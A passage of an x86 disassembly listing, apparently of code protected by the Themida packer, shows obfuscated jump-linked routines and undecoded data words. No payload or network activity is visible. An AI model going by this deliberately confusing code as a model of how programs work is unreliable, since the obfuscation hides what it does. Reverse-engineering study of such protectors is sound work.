; ---------------------------------------------------------------------------


loc_560703:				; CODE XREF: Themida_:00572778j
		sub	esi, ebx
		jmp	loc_570EE1
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 488BF581h, 0EF8991C9h, 78E7815Dh, 53204D1Bh,	72354CBBh
		dd 0BEB810Ah, 29F27BCEh, 8459E9DFh, 0E0680000h,	0E900002Fh
		dd 1E01h, 34FFE328h, 5E6DE924h,	0B1B80000h, 893A6615h
		dd 0E95358C2h, 126FCh
; ---------------------------------------------------------------------------


loc_560750:				; CODE XREF: Themida_:0056AC91j
		push	dword ptr [edi+eax*4]
		push	7F70h
		mov	[esp], esi
		jmp	loc_56932E
; ---------------------------------------------------------------------------
		dd 7EE18166h, 4CD0E950h, 9F2C0001h, 0B753F000h,	5BF8009Fh
		dd 28C82C5Ah, 706866D8h, 5800E938h
		db 2 dup(0)
word_560782	dw 28Fh			; DATA XREF: Themida_:0055FDC4o
		dd 78EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_560789:				; CODE XREF: Themida_:0056A5C6j
		push	esp
		jmp	loc_570005
; ---------------------------------------------------------------------------


loc_56078F:				; CODE XREF: Themida_:00570609j
		mov	ebp, 63D61E38h
		sub	ebp, ebx
		pop	ebx
		sub	edi, 5C710A8Eh
		add	edi, ebp
		add	edi, 5C710A8Eh
		jmp	loc_56E998
; ---------------------------------------------------------------------------
		dw 34FFh
aYhp		db '$Yh¯|',0
		dw 0E900h
		dd 11D03h, 0FAE9EE01h, 31000034h, 0EB815DEAh, 77145E64h
		dd 0C381D329h, 77145E64h, 8BEB815Ah, 132DA4Eh, 59E951C3h
		dd 0B3000040h, 5BD9880Eh, 8D74E9h, 53D0F700h, 87585B50h
		dd 53D6F7F3h, 4EC81h, 34890000h, 0E95E5B24h, 12DD6h, 68242C8Bh
		dd 622Dh, 51240C89h, 0BA52E189h, 4, 0A56AE9h, 0A3B95100h
		dd 2141B470h, 0B95159CDh, 14407E80h, 2414F751h,	0BA5259h
		dd 81000000h, 3E1462C2h, 0E9CA296Ch, 64CAh
dword_560844	dd 46C005ADh, 0BB2D1A44h, 12C2D63h, 4EC83D8h, 68241489h
					; DATA XREF: Themida_:0055FEC8o
		dd 2C2D63BBh, 5AD0015Ah, 815D5455h, 4C5h, 4ED8300h, 31242C33h
		dd 2C33242Ch, 3DE95C24h, 81000110h, 3F4E94C5h, 5DE8299Ah
		dd 2474FF50h, 0AFE95804h, 8900002Bh, 682404h, 0E9000004h
		dd 102Bh, 68242C89h, 23Ah, 5D241489h, 8124148Bh, 4C4h
		dd 0FFBD5500h, 81FFFFFFh, 735B14C2h, 81EA0132h,	735B14EAh
		dd 2434FF32h, 0E789575Dh, 4C781h, 0C7830000h, 0AAD0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608DA:				; CODE XREF: Themida_:0056F182j
		mov	[esp], edi
		push	edx
		jmp	loc_563875
; ---------------------------------------------------------------------------
		db 87h
		dd 0F5E9240Ch, 0C0000095h, 0E7C008E7h, 7786E903h, 815D0000h
		dd 4C4h, 4C28300h, 5C241487h, 0FF2434FFh, 34FF2434h, 254AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560912:				; CODE XREF: Themida_:0056D8EFj
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56C283
; ---------------------------------------------------------------------------


loc_560937:				; CODE XREF: Themida_:0056AF4Dj
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5735FF
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 8Eh
		dd 0E90AA708h, 2C05h
; ---------------------------------------------------------------------------


loc_560950:				; CODE XREF: Themida_:0056C430j
		mov	edx, [esp]
		push	4DC5h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	dl, 39h
		xor	dl, 0ABh
		neg	dl
		or	dl, 36h
		dec	dl
		push	dx
		not	byte ptr [esp]
		mov	dx, [esp]
		jmp	loc_565693
; ---------------------------------------------------------------------------


loc_5609A1:				; CODE XREF: Themida_:0056FB54j
		push	ebx
		mov	ebx, 433C4466h
		jmp	loc_573B74
; ---------------------------------------------------------------------------


loc_5609AC:				; CODE XREF: Themida_:0056F0E6j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5641A4
; ---------------------------------------------------------------------------


loc_5609B5:				; CODE XREF: Themida_:0056C0A6j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_570305
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 2434FF04h, 0C118E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5609EA:				; CODE XREF: Themida_:005740A7j
		push	764Ch
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_56EC21
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 86E90000h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560A03:				; CODE XREF: Themida_:00573FA6j
		pop	esi
		jmp	loc_567724
; ---------------------------------------------------------------------------
		db 58h,	57h, 0F7h
		dd 0C15F2414h, 87E903EFh, 0BF000072h, 55D7554Ch, 9B8E781h
		dd 0EF8102D0h, 601E2366h, 0D1F7CF87h, 0D7F7CF87h, 0D8E4E9h
		dd 4C48300h, 8904EC83h,	6FE9241Ch, 1000067h, 0C1815FF9h
		dd 4, 5C240C87h, 0E9240487h, 8F22h, 0DFE95152h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560A5F:				; CODE XREF: Themida_:00560DF3j
		add	eax, 29DB4243h
		jmp	loc_56260C
; ---------------------------------------------------------------------------


loc_560A69:				; CODE XREF: Themida_:0057285Fj
		xchg	ebx, [esp]
		pop	esp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	7BF81C5Bh
		mov	edx, [esp]
		jmp	loc_56B3B6
; ---------------------------------------------------------------------------
		dd 52D42BAh, 19C28156h,	31C6914Ch, 0F5815AD5h, 4074044Dh
		dd 2C8BE901h, 4C48124h,	0C1000000h, 0BF5702E9h,	22575CCh
		dd 3C8BF929h, 4C48124h,	81000000h, 335301E9h, 0F1814171h
		dd 0BEB718C2h, 3865EB81h, 0CB2965ECh, 3865C381h, 875965ECh
		dd 248B241Ch, 24148924h, 1168h,	6062E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560AE6:				; CODE XREF: Themida_:0056AD71j
		shl	eax, 8
		jmp	loc_56AA20
; ---------------------------------------------------------------------------


loc_560AEE:				; CODE XREF: Themida_:00560437j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5640F2
; ---------------------------------------------------------------------------


loc_560AF7:				; CODE XREF: Themida_:00570F72j
		mov	[esp], esi
		push	7E360679h
		jmp	loc_57233B
; ---------------------------------------------------------------------------


loc_560B04:				; CODE XREF: Themida_:0056A188j
		neg	ebx
		sub	ebx, 6BA02385h
		add	ebx, 0F3834224h
		add	eax, ebx
		jmp	loc_5664C1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0A1F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_560B21:				; CODE XREF: Themida_:00564FFBj
		mov	ebx, 2CCF5EBDh
		mov	ebp, 151A4FF0h
		jmp	loc_56508C
; ---------------------------------------------------------------------------


loc_560B30:				; CODE XREF: Themida_:0056681Ej
		sub	dword ptr [esp+4], 2E890F03h
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 2E890F03h
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5729B4
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0C3h
		dd 140487Ch, 79E95EF7h
		db 28h,	1, 0
; ---------------------------------------------------------------------------


loc_560B6F:				; CODE XREF: Themida_:0056ED0Cj
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56596B
; ---------------------------------------------------------------------------
		dd 1EF815Fh, 0C1665E46h, 0FCE905E7h, 100010Fh, 4676E9DFh
		dd 0E95C0001h, 0FD85h, 0EE81D629h, 51B715B1h, 2434875Ah
		dd 0E5D6E9h, 4C48300h, 0A125E9h
		db 0
; ---------------------------------------------------------------------------


loc_560BB9:				; CODE XREF: Themida_:00569C6Ej
		xchg	ebx, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_562D37
; ---------------------------------------------------------------------------
		db 81h
		dd 853CA2CDh, 0F5814D2Fh, 2FFD3FB9h, 0E95DEA01h, 135EDh
		dd 0E9C0B60Fh, 0C362h, 0CDFBC181h, 0CE01F593h, 4DBA5259h
		dd 813DC422h, 216FC7E2h, 7D34E977h, 875A0000h, 8F5C241Ch
		dd 248B2404h, 2424D324h, 0F38DE99Ch
		db 2 dup(0FFh)
word_560C12	dw 8B66h		; DATA XREF: Themida_:0055FD94o
		dd 0BF682404h, 8900006Bh, 8953243Ch, 945E9E3h, 0D9310001h
		dd 13A72E9h
		db 0
; ---------------------------------------------------------------------------


loc_560C2D:				; CODE XREF: Themida_:00571D89j
		pop	ebx
		push	eax
		push	esp
		pop	eax
		jmp	loc_56147B
; ---------------------------------------------------------------------------


loc_560C36:				; CODE XREF: Themida_:0056055Dj
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 48C9CD95h
		xor	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5687A3
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1744E9h, 50EDD100h, 0A76F35B8h, 58C50120h
		dd 0BF8ED81h, 0EC81083Fh, 4, 0E9240489h, 0D7C7h
; ---------------------------------------------------------------------------


loc_560C7C:				; CODE XREF: Themida_:00574C35j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_564467
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E78E9h
		db 0
; ---------------------------------------------------------------------------


loc_560C91:				; CODE XREF: Themida_:00574787j
		or	esi, 19BE3A0Dh
		neg	esi
		not	esi
		add	esi, 0E601C1F8h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_57457B
; ---------------------------------------------------------------------------
dword_560CAC	dd 240C8B66h, 1E3DE9h, 4C48300h, 7902E952h, 0B4500000h
					; DATA XREF: Themida_:0055FF34o
		dd 88B15137h, 4EC81h, 1C890000h, 2861B724h, 241C8BF9h
		dd 4C481h, 0D9F60000h, 0A934E9h
		db 0
; ---------------------------------------------------------------------------


loc_560CE1:				; CODE XREF: Themida_:0056BBAEj
		mov	edx, 36163Ah
		push	ebp
		mov	ebp, 1D2F056Dh
		jmp	loc_56791A
; ---------------------------------------------------------------------------


loc_560CF1:				; CODE XREF: Themida_:00565506j
		sub	esp, 4
		mov	[esp], edx
		push	5471h
		mov	[esp], ecx
		mov	ecx, 657717C1h
		mov	edx, 657716C1h
		xor	edx, ecx
		mov	ecx, [esp]
		jmp	loc_573E7C
; ---------------------------------------------------------------------------


loc_560D16:				; CODE XREF: Themida_:005745B0j
		pop	edx
		push	edi
		jmp	loc_570A1B
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 9A5487EFh, 2434FF5Dh, 4C4835Dh, 21E7E9h, 0EDBB5300h
		dd 81636235h, 0DD4972EDh, 57DD0132h, 4359FBBFh,	81DFF71Bh
		dd 1EFh, 76F78100h, 1D661EFh, 0AAE95FFDh, 5F0000FDh, 4C781h
		dd 0C1E90000h, 89000059h, 0B1B82404h, 256CE405h, 2C451168h
		dd 15302540h, 0FDE938F8h, 500011Dh, 1A980468h, 0FF58C201h
		dd 815B2434h, 4C4h, 24143300h, 33241431h, 248B2414h, 0B60F6624h
		dd 5F6866C8h, 0C896609h, 349E924h, 0CC080001h, 592434FFh
		dd 0D6FE9h, 4C48100h, 33000000h, 0C31240Ch, 240C3324h
		dd 357DE95Ch, 0E9810001h, 68BC3DC5h, 0C181D929h, 68BC3DC5h
		dd 1022AE9h
		db 0
; ---------------------------------------------------------------------------


loc_560DE1:				; CODE XREF: Themida_:005641C0j
		pop	ecx
		jmp	loc_56DE94
; ---------------------------------------------------------------------------


loc_560DE7:				; CODE XREF: Themida_:0056381Fj
		mov	eax, 57EC76A7h
		sub	eax, 29DB4243h
		sub	eax, ebp
		jmp	loc_560A5F
; ---------------------------------------------------------------------------


loc_560DF8:				; CODE XREF: Themida_:005695CAj
		add	esp, 4
		push	ecx
		mov	ecx, 513E79FBh
		add	ecx, 1195E843h
		add	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		jmp	loc_572A28
; ---------------------------------------------------------------------------


loc_560E29:				; CODE XREF: Themida_:00574709j
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_563E62
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 421Ah
; ---------------------------------------------------------------------------


loc_560E40:				; CODE XREF: Themida_:005655A3j
		xor	bl, al
		push	52AAh
		mov	[esp], edx
		push	59C4471Dh
		pop	edx
		add	edx, 2BB05464h
		shr	edx, 3
		jmp	loc_568C75
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 12E20h, 68B96866h, 10D79E9h
		db 0
; ---------------------------------------------------------------------------


loc_560E6D:				; CODE XREF: Themida_:00572F12j
		push	esi
		mov	esi, 5C711D79h
		or	esi, 57865D78h
		jmp	loc_5682F5
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 0D835D8F7h, 10CFF71h, 0E95D58C6h, 0F4D0h, 0FEDAE980h
		dd 56B652C1h, 0F6E0C680h, 42ADE9D6h
		db 2 dup(0)
word_560EA2	dw 83ADh		; DATA XREF: Themida_:0055FE48o
		dd 1C8904ECh, 139EBB24h, 0D829049Ch, 0E9241C8Bh, 6B1Eh
; ---------------------------------------------------------------------------


loc_560EB8:				; CODE XREF: Themida_:00566B27j
		mov	ecx, 123A483Ch
		jmp	loc_56D89C
; ---------------------------------------------------------------------------
word_560EC2	dw 8B66h		; DATA XREF: Themida_:0055FD64o
		dd 1B682404h, 89000036h, 0FE9243Ch
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560ED3:				; CODE XREF: Themida_:00574735j
		pop	esp
		mov	[esp], edx
		mov	dl, 0CAh
		sub	bl, dl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	bl, 0F7h
		sub	bl, al
		push	eax
		jmp	loc_561A2B
; ---------------------------------------------------------------------------
		db 1
		dd 37E95FFEh, 59000127h, 0E9241C87h, 80E6h, 5C242C87h
		dd 0BE243489h, 4, 4247401h, 2434FF5Eh, 8B2434FFh, 0A3E92414h
		dd 81000016h, 4C4h, 5B03E900h, 4B80000h, 1000000h, 2CE1E9C5h
		db 1, 0
; ---------------------------------------------------------------------------


loc_560F4A:				; CODE XREF: Themida_:00567894j
		pop	ebp
		jmp	loc_5709E4
; ---------------------------------------------------------------------------
a313S_		db '3<$1<$3<$\é.Ì',0
		dw 8100h
		dd 4C6h, 0E6F1E900h, 69BA0000h,	514D3627h, 0B92B40B9h
		dd 4E1C152h, 8303E9C1h,	0C181FFE9h, 65C4D7C4h, 5759CA01h
		dd 958EE9h
		db 0
; ---------------------------------------------------------------------------


loc_560F8D:				; CODE XREF: Themida_:0056728Fj
		pop	edi
		shl	edx, 4
		sub	edx, 33577B90h
		jmp	loc_56AA60
; ---------------------------------------------------------------------------


loc_560F9C:				; CODE XREF: Themida_:0056AA6Cj
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	3397h
		mov	[esp], eax
		jmp	loc_56F231
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0A6E90000h, 0B60000ABh, 0E9B2B5A7h, 19A2h
; ---------------------------------------------------------------------------


loc_560FC8:				; CODE XREF: Themida_:00570D53j
		add	ebp, 2916934h
		xor	ebp, 4F3B18F2h
		add	ebp, 74760D45h
		jmp	loc_5653B8
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 81000000h,	4154EFEDh, 57FD293Bh, 0E883E9h
		dd 34875F00h, 24248B24h, 53240489h, 4EC81h, 34890000h
		dd 4815124h, 0D05E9B24h, 0EE815E75h, 75D05E9Bh,	9F3CE9h
		dd 87D3F700h, 3AE94EDEh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561027:				; CODE XREF: Themida_:00561E5Cj
		push	ebx
		jmp	loc_5731F2
; ---------------------------------------------------------------------------


loc_56102D:				; CODE XREF: Themida_:0056B043j
		push	ebx
		jmp	loc_5657AB
; ---------------------------------------------------------------------------


loc_561033:				; CODE XREF: Themida_:00563351j
		pop	eax
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56C553
; ---------------------------------------------------------------------------
		dd 4C481h, 21660000h, 2434FFCAh, 4C48159h, 66000000h, 98B96651h
		dd 1904E938h, 0CF880000h, 83240C8Bh, 0BE904C4h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------


loc_56106B:				; CODE XREF: Themida_:005701BDj
		sub	ebx, 1D9C607Eh
		add	ebx, ecx
		add	ebx, 1D9C607Eh
		jmp	loc_563F44
; ---------------------------------------------------------------------------


loc_56107E:				; CODE XREF: Themida_:0056983Aj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0FFFFh
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56A968
; ---------------------------------------------------------------------------
		db 4, 1Dh, 0E9h
		dd 11CA6h, 4C4815Fh, 0C1000000h, 52E905E9h, 2C000142h
		dd 4D80028h, 67FDE928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5610CE:				; CODE XREF: Themida_:00572634j
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 561B5B60h
		shr	edi, 3
		shr	edi, 1
		shr	edi, 6
		push	ebx
		mov	ebx, 1D4E7F0Ah
		or	edi, ebx
		pop	ebx
		jmp	loc_564FAC
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4EC81h, 24890000h, 5B1EE924h, 0E7C10000h, 0FFEF8104h
		dd 0E915FB76h, 0E13Fh, 83242C8Bh, 0D70104C4h, 2EF815Ah
		dd 33000000h, 3C31243Ch, 0EC00E924h, 57590000h,	2BFh, 5FFB2900h
		dd 5C241C87h, 24148966h, 5E08950h, 4, 54F9BF57h, 0EFC14879h
		dd 937DE906h, 525B0000h, 0C8283DBAh, 213E907h, 0C890000h
		dd 80D4B124h, 0E4E95BC1h
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_561167:				; CODE XREF: Themida_:0056A86Fj
		pop	ebp
		add	esp, 4
		jmp	loc_571A18
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 6624248Bh, 79E9F9F7h, 89000130h, 5E92404h
		dd 590000B0h, 8104C483h, 4C1h, 9675E900h, 8B560000h, 0C481241Ch
		dd 4, 8324348Bh, 0D80104C4h, 50241C8Bh,	405E089h, 56000000h
		dd 4BEh, 0A4B8E900h, 89570000h,	0CB25E9E7h, 0CD310000h
		dd 16E98159h, 0E914443Ah, 0C84Bh, 8324348Bh, 1C3304C4h
		dd 241C3124h, 25A5E9h, 4896600h, 0EDA9E924h, 815BFFFFh
		dd 3574EEEAh, 81FA016Ch, 3574EEC2h, 0B9515F6Ch,	4, 99BEA81h
		dd 0D1E91EFDh
		db 1Dh,	1, 0
; ---------------------------------------------------------------------------


loc_561217:				; CODE XREF: Themida_:0056B508j
		sub	ecx, edi
		pop	edi
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 672F0506h
		add	ecx, 3C5B5CF5h
		sub	ecx, eax
		sub	ecx, 3C5B5CF5h
		push	edx
		jmp	loc_571D6B
; ---------------------------------------------------------------------------
		db 51h
		dd 55092DB9h, 3189E969h
		db 1, 0
; ---------------------------------------------------------------------------


loc_56124A:				; CODE XREF: Themida_:005732C9j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56651E
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0E1895124h, 1909BF57h, 0DFF758B0h, 0F31EF81h, 0E7D14A69h
		dd 0EF81DFF7h, 46325070h, 0FFF7CAE9h, 24348BFFh, 76FDE9h
		dd 5BDF0100h, 2C781h, 89510000h, 4C181E1h, 0E9000000h
		dd 0ACB9h
; ---------------------------------------------------------------------------


loc_561298:				; CODE XREF: Themida_:005712D3j
		pop	esi
		inc	ecx
		shr	ecx, 7
		shr	ecx, 7
		add	ecx, 2BD36F6Bh
		xor	edx, ecx
		jmp	loc_572426
; ---------------------------------------------------------------------------


loc_5612AD:				; CODE XREF: Themida_:00566D79j
		xor	edi, 1AE521A1h
		add	eax, edi
		jmp	loc_5737C1
; ---------------------------------------------------------------------------


loc_5612BA:				; CODE XREF: Themida_:005649B5j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4C9605Ch
		add	edi, esi
		pop	esi
		sub	edi, 123C2D57h
		add	edi, ebp
		add	edi, 123C2D57h
		sub	edi, 4C9605Ch
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	eax, 780803FBh
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_574048
; ---------------------------------------------------------------------------


loc_561300:				; CODE XREF: Themida_:00562834j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_56BCA0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2EC8302h, 241C8966h,	5ECD68h, 24148900h, 88B9B151h
		dd 0B08DE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561332:				; CODE XREF: Themida_:0057375Ej
		push	eax
		push	4953h
		jmp	loc_563066
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 356568h, 240C8900h, 0FFED0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56134D:				; CODE XREF: Themida_:00573477j
		mov	[esp], esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 65502174h
		inc	edi
		inc	edi
		inc	edi
		jmp	loc_5724FC
; ---------------------------------------------------------------------------
		db 50h,	55h, 68h
		dd 63CB32C1h, 0E9242C8Bh, 10190h, 4A30F66h, 18E99C24h
		dd 89FFFFECh, 5F54243Ch, 52D968h, 242C8900h, 0A11519BDh
		dd 7E5C134h, 8C84F581h,	0C781508Ah, 7EC60229h, 0E951EF01h
		dd 0C686h, 0EE895658h, 5D5EF189h, 3093F181h, 0F1815DEBh
		dd 4A9C76E1h, 0C5FAE9h,	24148900h, 2BAh, 5AD60100h, 0D7168h
		dd 24348900h, 42474FFh,	8124348Bh, 4C4h, 24048F00h, 6624248Bh
		dd 9C2404FFh, 1F1EE9h, 24048100h, 4, 4C18159h, 57000000h
		dd 4BFh, 5FF90100h, 0E9E68956h,	0FFFFFB47h
; ---------------------------------------------------------------------------


loc_561418:				; CODE XREF: Themida_:0056A0B3j
		push	ebp
		jmp	loc_5737EB
; ---------------------------------------------------------------------------
		dw 0FE89h
		dd 5F5EF189h, 3EC9E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56142A:				; CODE XREF: Themida_:00561F1Aj
		add	esi, 5E923B80h
		jmp	loc_566B2C
; ---------------------------------------------------------------------------


loc_561435:				; CODE XREF: Themida_:0056AF2Dj
		add	[esp+8], ebx
		pop	ebx
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 147E6C73h
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	6FCD1673h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56B235
; ---------------------------------------------------------------------------
		dd 66DBF766h, 6604E3C1h, 31D5F381h, 933CE9h, 0A9BB00h
		dd 4CE90FFDh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56147B:				; CODE XREF: Themida_:00560C31j
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5617F8
; ---------------------------------------------------------------------------
		dd 2434FF54h, 582434FFh, 50E18951h, 66616852h, 0F75A5DBFh
		dd 2C281DAh, 8162C67Fh,	8D9C7CEAh, 0CD6AE9C4h, 248B0000h
		dd 4C48124h, 0E9000000h, 0B841h, 436C68h, 242C8900h, 9F9DE9h
		dd 280F0400h, 0C5EEE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5614DA:				; CODE XREF: Themida_:0056B59Cj
		add	ebx, 7D5E0DA3h
		push	ebp
		mov	ebp, 66B24CE7h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_564E1C
; ---------------------------------------------------------------------------
		dw 86B7h
		dd 4AE9CF00h, 8F000095h, 0B8502404h, 4,	4244401h, 0DFD4E958h
		dd 34890000h, 348B5424h, 496824h, 14890000h, 1151E924h
		dd 2C890000h, 2474FF24h, 242C8B04h, 8F04C483h, 248B2404h
		dd 0C8BE0F24h, 8904EC83h, 5F54243Ch, 2CC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_561541:				; CODE XREF: Themida_:00574065j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 74C95DCBh
		sub	ecx, 64245707h
		jmp	loc_568011
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9502414h, 0FFFFEBF6h, 8126E958h, 0DA010000h, 4EA815Bh
		dd 87000000h, 248B2414h, 241C8924h, 0DCE95B54h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56157F:				; CODE XREF: Themida_:0056A481j
		sub	ah, 0EFh
		jmp	loc_57548D
; ---------------------------------------------------------------------------
		db 88h
		dd 19D1E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56158E:				; CODE XREF: Themida_:005657D1j
		mov	esi, 0FB85D4F7h
		push	ecx
		mov	ecx, esi
		mov	edi, ecx
		pop	ecx
		pop	esi
		add	ebx, edi
		pop	edi
		add	eax, ebx
		jmp	loc_56CE3A
; ---------------------------------------------------------------------------


loc_5615A4:				; CODE XREF: Themida_:00569C43j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	5B65h
		mov	[esp], edx
		jmp	loc_5700F3
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB8104C4h, 6B3E5282h, 0E957D329h, 0E885h, 4C681h, 0C6830000h
		dd 24348704h, 67F7815Ch, 6815B370h, 17F0h, 0B8240489h
		dd 190670CFh, 34FFC731h, 97FDE924h, 0F5810000h,	5A683AF2h
		dd 4246C81h, 16ED07E4h,	4246C01h, 4244481h, 16ED07E4h
		dd 24048B5Dh, 0E904C483h, 0FFFFF3E1h, 1343D968h, 0ABE95835h
		dd 4000006h, 24148B17h,	4C481h,	0D8000000h, 97B45053h
		dd 51E68852h, 0DC07E9h
		db 0
; ---------------------------------------------------------------------------


loc_56163D:				; CODE XREF: Themida_:005721C8j
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C910
; ---------------------------------------------------------------------------
		dd 8B59CA88h, 0C4812404h, 4, 3508E9h, 6BF5700h,	4F7ED81Ch
		dd 6792E9h, 1C875A00h, 7DFE924h, 33680001h, 584CBB4Dh
		dd 4831910Dh, 0E9D0F778h, 0D5A3h, 43FA68h, 24048900h, 4B8h
		dd 8BC20100h, 0C4832404h, 486EE904h, 2C890000h,	2BD24h
		dd 0EE010000h, 7CB9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5616AD:				; CODE XREF: Themida_:0056E709j
		xor	edi, [esp]
		mov	esp, [esp]
		push	397Fh
		jmp	loc_56ABFA
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 5Ch
		dd 81561B37h, 4C4D6CE2h, 0A5F28158h, 81463B12h,	0CE91E1C2h
		dd 0E9D72930h, 1172Fh, 4EE81h, 34870000h, 15A0E924h, 0D9290001h
		dd 0EE3EE95Bh, 815F0000h, 0A1E868EAh, 51CA8748h, 592414F7h
		dd 0B850CA87h, 0FFFFFFFFh, 4258C201h, 329FE281h, 0F5680F1Ch
		dd 8900000Bh, 0E953240Ch, 0D010h, 1F51D7BAh, 8AEA8133h
		dd 4A73FA2Bh, 8AE9DAF7h, 1000092h, 8B08247Ch, 0D1E9243Ch
		dd 3100005Fh, 887AE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561746:				; CODE XREF: Themida_:00572AC1j
		mov	[esp], edi
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
